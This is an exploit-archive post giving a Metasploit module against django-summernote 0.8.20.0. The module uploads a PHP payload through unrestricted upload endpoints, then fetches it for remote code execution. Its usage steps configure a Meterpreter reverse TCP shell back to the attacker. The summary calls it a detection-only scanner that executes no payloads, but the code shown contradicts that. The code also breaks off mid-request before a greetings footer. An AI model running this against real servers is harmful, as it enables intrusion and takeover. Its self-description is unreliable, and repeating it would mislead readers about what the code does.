📄 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner

=============================================================================================================================================
    | # Title     : Django Summernote 0.8.20.0 Unrestricted File Upload Scanner (Auxiliary)                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://djangopackages.org/packages/p/django-summernote/                                                                    |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/214231/
    
    [+] Summary    :  This Metasploit Auxiliary Scanner module detects unrestricted file upload vulnerabilities in django-summernote. 
                      It targets misconfigurations where image validation depends on the Pillow library and allows non-image files to be uploaded when Pillow is missing. 
                      The module safely scans common upload endpoints, handles CSRF protection, and confirms vulnerability by observing successful JSON responses containing uploaded file URLs. 
                      It performs detection only, does not execute payloads, and is designed for safe, non-intrusive security assessment.
    
    [+] Usage : 
    
    
    use exploit/unix/http/django_summernote_rce
    set RHOSTS 192.168.1.100
    set RPORT 80
    set TARGETURI /
    set PAYLOAD php/meterpreter/reverse_tcp
    set LHOST [Your_IP]
    set LPORT 4444
    
    check
    
    exploit
    
    [+] POC :
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name'           => 'Django Summernote Unrestricted File Upload RCE',
            'Description'    => %q{
              This module exploits an unrestricted file upload vulnerability in django-summernote <= 0.8.20.0.
              The vulnerability occurs when the 'Pillow' library is missing from the server environment,
              forcing the application to use a 'FileField' instead of an 'ImageField'. 
              This allows an attacker to upload arbitrary files (such as PHP shells).
              If the media directory is misconfigured to allow script execution, Remote Code Execution (RCE) is possible.
            },
            'Author'         => [ 'indoushka' ],
            'License'        => MSF_LICENSE,
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [
              ['PHP Payload (Generic)', { 'Platform' => 'php', 'Arch' => ARCH_PHP }]
            ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => '2026-01-24',
            'References'     => [
              ['URL', 'https://github.com/summernote/django-summernote']
            ],
            'Notes'          => {
              'Stability'   => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to the Django application', '/'])
        ])
      end
    
      def check
        upload_paths = [
          '/summernote/upload_editor_file/',
          '/summernote/upload_attachment/',
          '/admin/summernote/upload_editor_file/'
        ]
    
        upload_paths.each do |path|
          full_path = normalize_uri(target_uri.path, path)
          res = send_request_cgi('method' => 'GET', 'uri' => full_path)
    
          if res && (res.code == 405 || (res.code == 200 && res.body.include?('upload_editor_file')))
            return Exploit::CheckCode::Appears
          end
        end
        Exploit::CheckCode::Safe
      end
    
      def exploit
        upload_paths = [
          '/summernote/upload_editor_file/',
          '/summernote/upload_attachment/',
          '/admin/summernote/upload_editor_file/'
        ]
    
        upload_paths.each do |path|
          full_path = normalize_uri(target_uri.path, path)
          print_status("Checking endpoint: #{full_path}")
    
          res = send_request_cgi('method' => 'GET', 'uri' => full_path)
          next unless res
    
          cookies = res.get_cookies
          csrf_token = res.get_cookies_parsed['csrftoken']&.first
    
          filename = "#{Rex::Text.rand_text_alpha(8)}.php"
          data = Rex::MIME::Message.new
          
          if csrf_token
            data.add_part(csrf_token, nil, nil, 'form-data; name="csrfmiddlewaretoken"')
          end
    
          data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files\"; filename=\"#{filename}\"")
    
          print_status("Attempting to upload payload: #{filename}")
    
          res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => full_path,
            'ctype'   => "multipart/form-data; boundary=#{data.bound}",
            'cookie'  => cookies,
            'headers' => { 'Referer' => full_path }, # Referer is often required for Django CSRF
            'data'    => data.to_s
          })
    
          if res && res.code == 200 && res.headers['Content-Type']&.include?('application/json')
            begin
              json_res = res.get_json_document
    
              file_url = json_res['files'] ? json_res['files'][0]['url'] : json_res['url']
    
              if file_url
                print_good("Payload uploaded successfully: #{file_url}")
    
                register_file_for_cleanup(File.basename(file_url))
    
                print_status("Executing payload via GET request...")
                send_request_cgi({
    			
    
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
    ==========================================================================